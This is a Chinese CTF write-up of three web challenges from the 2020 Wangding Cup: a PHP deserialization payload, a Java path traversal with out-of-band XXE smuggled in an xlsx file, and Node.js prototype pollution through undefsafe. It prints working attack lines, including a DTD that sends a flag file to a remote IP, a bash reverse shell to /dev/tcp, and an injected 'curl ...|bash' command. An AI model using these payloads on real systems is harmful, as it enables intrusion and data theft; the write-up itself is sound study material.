• 网鼎杯青龙组部分web-wp


    [网鼎杯 2020 青龙组]前言

    第一次网鼎杯,

    就……哎,一言难尽。加油吧。

    2

    1

    AreUSerialz

    大佬萌说是PHP7.x的检测问题直接把protected改成public就行

    O:11:"FileHandler":4:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}
    

    fileJava

    经过简单测试发现就是Servlet+Jsp的集合

    payload1:

    http://dede6dc721724e09803ef969e7fde1f73ec217cbe7b9401c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../web.xml
    

    web.xml(配置文件,基本上不知道目录结构的话看这个就够了)

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
             version="4.0">
       
      <display-name>file_in_java</display-name>
      <welcome-file-list>
        <welcome-file>upload.jsp</welcome-file>
      </welcome-file-list>
        
      <servlet>
        <description></description>
        <display-name>UploadServlet</display-name>
        <servlet-name>UploadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
      </servlet>
      <servlet-mapping>
        <servlet-name>UploadServlet</servlet-name>
        <url-pattern>/UploadServlet</url-pattern>
      </servlet-mapping>
      <servlet>
        <description></description>
        <display-name>ListFileServlet</display-name>
        <servlet-name>ListFileServlet</servlet-name>
        <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
      </servlet>
      <servlet-mapping>
        <servlet-name>ListFileServlet</servlet-name>
        <url-pattern>/ListFileServlet</url-pattern>
      </servlet-mapping>
      <servlet>
        <description></description>
        <display-name>DownloadServlet</display-name>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
      </servlet>
      <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/DownloadServlet</url-pattern>
      </servlet-mapping>
    </web-app>
    

    其中的displayname也印证了显示的file_in_java为什么有upload.jsp。

    welcome-file-list是默认的首页显示upload.jsp

    <display-name>file_in_java</display-name>
      <welcome-file-list>
        <welcome-file>upload.jsp</welcome-file>
      </welcome-file-list>
    

    再往下的

    cn.abc.servlet.xxxxxxx都是包名顺着目录去找xxxxx.class(字节码)文件

    下载各类java文件。

    整个filejava的详细的源码放在链接里

    https://www.cnblogs.com/h3zh1/p/12868122.html
    
    /DownloadServlet
    ?filename=../../../classes/cn/abc/servlet/UploadServlet.class
    
    ?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
    
    ?filename=../../../classes/cn/abc/servlet/UploadServlet.class
    
    ?filename=../../../../upload.jsp
    
    ?filename=../../../../META-INF/MANIFEST.MF
    

    image-20200511104831457

    把所有的文件都下载下来了几乎,好像还有个list.jsp、message.jsp。都在源码的请求转发处体现了。

    找点

    菜鸡的我没明白具体的getshell或者文件读取的方法(提一句),才把所有的都下载下来。

    后来其他人说应该是xxe啥的,具体触发代码,在下方写出来。

    xlsx文件也可xxe,新技能新姿势! (xxe白痴,xml不是我的强项,比赛时候就8会写了,昨个赛后研究了一下 )。

    看了很多文章,比如:https://xz.aliyun.com/t/3357,看太多了篇了。

    再往后就是复现时总是带不出内容,然后开始不停的问大师傅,终于明白了。

    (mm狮虎萌)

    filename.startsWith("excel-") && "xlsx".equals(fileExtName)
    
    if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
              
              try {
    
                
                Workbook wb1 = WorkbookFactory.create(in);
                Sheet sheet = wb1.getSheetAt(0);
                System.out.println(sheet.getFirstRowNum());
              } catch (InvalidFormatException e) {
                System.err.println("poi-ooxml-3.10 has something wrong");
                e.printStackTrace();
              } 
    }
    

    构造xxe

    新建xlsx文件,改后缀名为zip,解压修改[Content_Types].xml的内容。

    [Content_Types].xml

    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://174.1.57.28/file.dtd">
    %remote;%int;%send;
    ]>
    

    保存后把文件夹压缩回.zip,然后改回后缀为.xlsx。

    image-20200511105845961

    在自己服务器的网站根目录新建一个,因为我是buu复现的,所以开buu的靶机即可,

    apache服务默认开启的。

    file.dtd文件

    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://174.1.57.28:2333?h3zh1=%file;'>">
    

    开启监听

    nc -lvvp 2333
    

    上传excel-***.xlsx文件

    一定要用excel-开头。有代码检测了。

    上面提到过。

    filename.startsWith("excel-") && "xlsx".equals(fileExtName)
    

    成功带入flag内容

    h3zh1

    [notes]

    好像不大会,晚些复现……

    好了,开始。
    这是我接触的第一道nodejs题( js 白痴 )。

    不过看着还可以,不那么难受,污染原理卡了我一天。

    在最后分析的时候出现了一个不明白的点,于是实际操作了一下,nodejs安装参考:

    https://www.cnblogs.com/zhouyu2017/p/6485265.html

    源码

    var express = require('express');
    var path = require('path');
    const undefsafe = require('undefsafe');
    const { exec } = require('child_process');
    
    
    var app = express();
    class Notes {
        constructor() { // 好像是构造函数
            this.owner = "whoknows";
            this.num = 0;
            this.note_list = {};
        }
    	// 以下是定义的各种成员方法
        write_note(author, raw_note) { //成员方法
            this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
        }
    
        get_note(id) {   //成员方法
            var r = {}
            undefsafe(r, id, undefsafe(this.note_list, id));
            return r;
        }
    
        edit_note(id, author, raw) {   //成员方法 感觉是这了
            undefsafe(this.note_list, id + '.author', author);
            undefsafe(this.note_list, id + '.raw_note', raw);
        }
    
        get_all_notes() { //成员方法
            return this.note_list;
        }
    
        remove_note(id) {
            delete this.note_list[id];
        }
    }
    
    var notes = new Notes();
    notes.write_note("nobody", "this is nobody's first note");
    
    
    app.set('views', path.join(__dirname, 'views'));
    app.set('view engine', 'pug');
    
    app.use(express.json());
    app.use(express.urlencoded({ extended: false }));
    app.use(express.static(path.join(__dirname, 'public')));
    
    
    app.get('/', function(req, res, next) {
      res.render('index', { title: 'Notebook' });
    });
    
    app.route('/add_note')
        .get(function(req, res) {
            res.render('mess', {message: 'please use POST to add a note'});
        })
        .post(function(req, res) {
            let author = req.body.author;
            let raw = req.body.raw;
            if (author && raw) {
                notes.write_note(author, raw);
                res.render('mess', {message: "add note sucess"});
            } else {
                res.render('mess', {message: "did not add note"});
            }
        })
    
    app.route('/edit_note')
        .get(function(req, res) {
            res.render('mess', {message: "please use POST to edit a note"});
        })
        .post(function(req, res) {
            let id = req.body.id;
            let author = req.body.author;
            let enote = req.body.raw;
            if (id && author && enote) {
                notes.edit_note(id, author, enote);
                res.render('mess', {message: "edit note sucess"});
            } else {
                res.render('mess', {message: "edit note failed"});
            }
        })
    
    app.route('/delete_note')
        .get(function(req, res) {
            res.render('mess', {message: "please use POST to delete a note"});
        })
        .post(function(req, res) {
            let id = req.body.id;
            if (id) {
                notes.remove_note(id);
                res.render('mess', {message: "delete done"});
            } else {
                res.render('mess', {message: "delete failed"});
            }
        })
    
    app.route('/notes')
        .get(function(req, res) {
            let q = req.query.q;
            let a_note;
            if (typeof(q) === "undefined") {
                a_note = notes.get_all_notes();
            } else {
                a_note = notes.get_note(q);
            }
            res.render('note', {list: a_note});
        })
    
    app.route('/status')
        .get(function(req, res) {
            let commands = {
                "script-1": "uptime",
                "script-2": "free -m"
            };
            for (let index in commands) {
                exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                    if (err) {
                        return;
                    }
                    console.log(`stdout: ${stdout}`);
                });
            }
            res.send('OK');
            res.end();
        })
    
    
    app.use(function(req, res, next) {
      res.status(404).send('Sorry cant find that!');
    });
    
    
    app.use(function(err, req, res, next) {
      console.error(err.stack);
      res.status(500).send('Something broke!');
    });
    
    
    const port = 8080;
    app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
    
    

    分析

    第一段,参考http://nodejs.cn/api/modules/require.html。

    var express = require('express');
    var path = require('path');
    const undefsafe = require('undefsafe');
    const { exec } = require('child_process');
    

    这里大致是引入了一些模块,和文件什么的。


    下面这一段大体是定义了一个Notes类。

    class Notes {
        constructor() { // 好像是构造函数
            this.owner = "whoknows";
            this.num = 0;
            this.note_list = {};
        }
    	// 以下是定义的各种成员方法
        write_note(author, raw_note) { //成员方法
            this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
        }
    
        get_note(id) {   //成员方法
            var r = {}
            undefsafe(r, id, undefsafe(this.note_list, id));
            return r;
        }
    
        edit_note(id, author, raw) {   //成员方法 感觉是这了
            undefsafe(this.note_list, id + '.author', author);
            undefsafe(this.note_list, id + '.raw_note', raw);
        }
    
        get_all_notes() { //成员方法
            return this.note_list;
        }
    
        remove_note(id) {
            delete this.note_list[id];
        }
    }
    

    触发代码段

    这里其实应该是快速扫描,审计代码的时候先扫到得关键信息,因为我萌就是为了getshell 或者 read文件或者 bypass等等。

    要先找让我们能眼前一亮得代码段,还有可以进行传参的代码段。

    第一点发现,status路由触发了/bin/bash我们可以考虑从这入手。

    app.route('/status')
        .get(function(req, res) {
            let commands = {
                "script-1": "uptime",
                "script-2": "free -m"
            };
            for (let index in commands) {
                exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                    if (err) {
                        return;
                    }
                    console.log(`stdout: ${stdout}`);
                });
            }
            res.send('OK');
            res.end();
        })
    

    我们可以发现commands是以字典方式存的,这里我萌只发现了uptime和free -m这两条shell指令。

    所以还是有点摸不到头脑。这时候就需要多看看别的了,但是实际能发现的其他东西很少。

    裂开了

    后面的话基本就是看大佬的wp了。

    get_note和edit_note涉及到一个undefsafe 。

    看大佬的博客和参考链接得到的信息,英文也没关系,我是google翻译的。

    分享链接: https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

    部分翻译结果截图如下。

    image-20200512183412962

    image-20200512184718207

    好!

    大概明确了,undefsafe是不安全的,有两种污染方式。本题应该是属于第二种,按路径定义属性。

    摘要

    按路径定义属性

    有一些JavaScript库使用API根据给定的路径在对象上定义属性值。通常受影响的函数包含以下签名:theFunction(object, path, value)

    如果攻击者可以控制“路径”的值,则可以将此值设置为_proto_.myValuemyValue然后将其分配给对象类的原型。

    可能现在会有点小小的疑惑。

    __ proto __这个东西

    不清楚得话多找几个解析叭。

    注入点(污染点)

    可以在id处用__ proto __进行拼接,造成污染

    edit_note(id, author, raw) {   //成员方法 感觉是这了
            undefsafe(this.note_list, id + '.author', author);
            undefsafe(this.note_list, id + '.raw_note', raw);
    }
    

    比如id ='_proto_'+'.author'那么的note_list就被成功污染。

    污染原理,参考链接中的图片叭:https://blog.csdn.net/qq_41107295/article/details/95789944。

    大概分析到这得时候……又卡了…………真的菜………………怎么触发得command字典啊………………


    安装nodejs之后,简单测试了几个代码,大致有了一点理解,但是还是没懂。

    一天之后……zz

    找到了写了题解得w4nder狮虎问了一下,被惊醒了一样。

    可以参考下图。

    第一张

    22

    第二张

    333

    污染原因:同种数据结构!

    我一直在疑惑commands和note_list之间为什么会造成污染,形成联系。

    问了狮虎幡然醒悟:同一种数据结构就是一个类啊!这么简单的理解,我竟然卡了这么久(wtcl)。

    复现得狮虎得代码。

    a = {"a":1,"b":2}
    b = {}
    b.__proto__.c=333
    for (let i in a){ console.log(i)}
    

    image-20200513233931499

    构造

    因为被污染之后程序便会崩,而且注入错误的时候也会出现一些奇怪的东西,所以我们只要弹shell即可。

    buu监听靶机,写shell.txt

    bash -i >& /dev/tcp/174.1.75.118/2333 0>&1
    

    edit_note路由处post

    id=__proto__&author=curl http://174.1.75.118/shell.txt|bash&raw=hello
    

    提示:post完之后出现something broke是正常的,我当时重复了仨小时,以为自己做错了。

    image-20200514004815891

    监听

    nc -lvvp 2333
    

    访问status路由触发,反弹shell

    image-20200514004936261

    参考链接:

    https://www.jianshu.com/p/3d756c5bba16

    https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

    https://blog.csdn.net/qq_41635167/article/details/96994528

    https://xz.aliyun.com/t/7182#toc-3

  • 相关阅读:
    爸爸妈妈儿子女儿吃水果问题以及五个哲学家吃饭问题
    同步与互斥中的购票和退票问题的PV操作与实现
    创建react&ts&antd项目
    在POM配置Maven plugin提示错误“Plugin execution not covered by lifecycle configuration”的解决方案
    aws rds 储存空间占用 异常排查 存储空间占满
    Linux下clang、gcc、intel编译器最新版本安装笔记
    extern "C"与extern "C" { … }的差别
    gcc预处理指令之#pragma once
    指向类的成员变量的指针
    Java程序中使用SQLite总结
  • 原文地址:https://www.cnblogs.com/h3zh1/p/12868014.html
Copyright © 2020-2023  润新知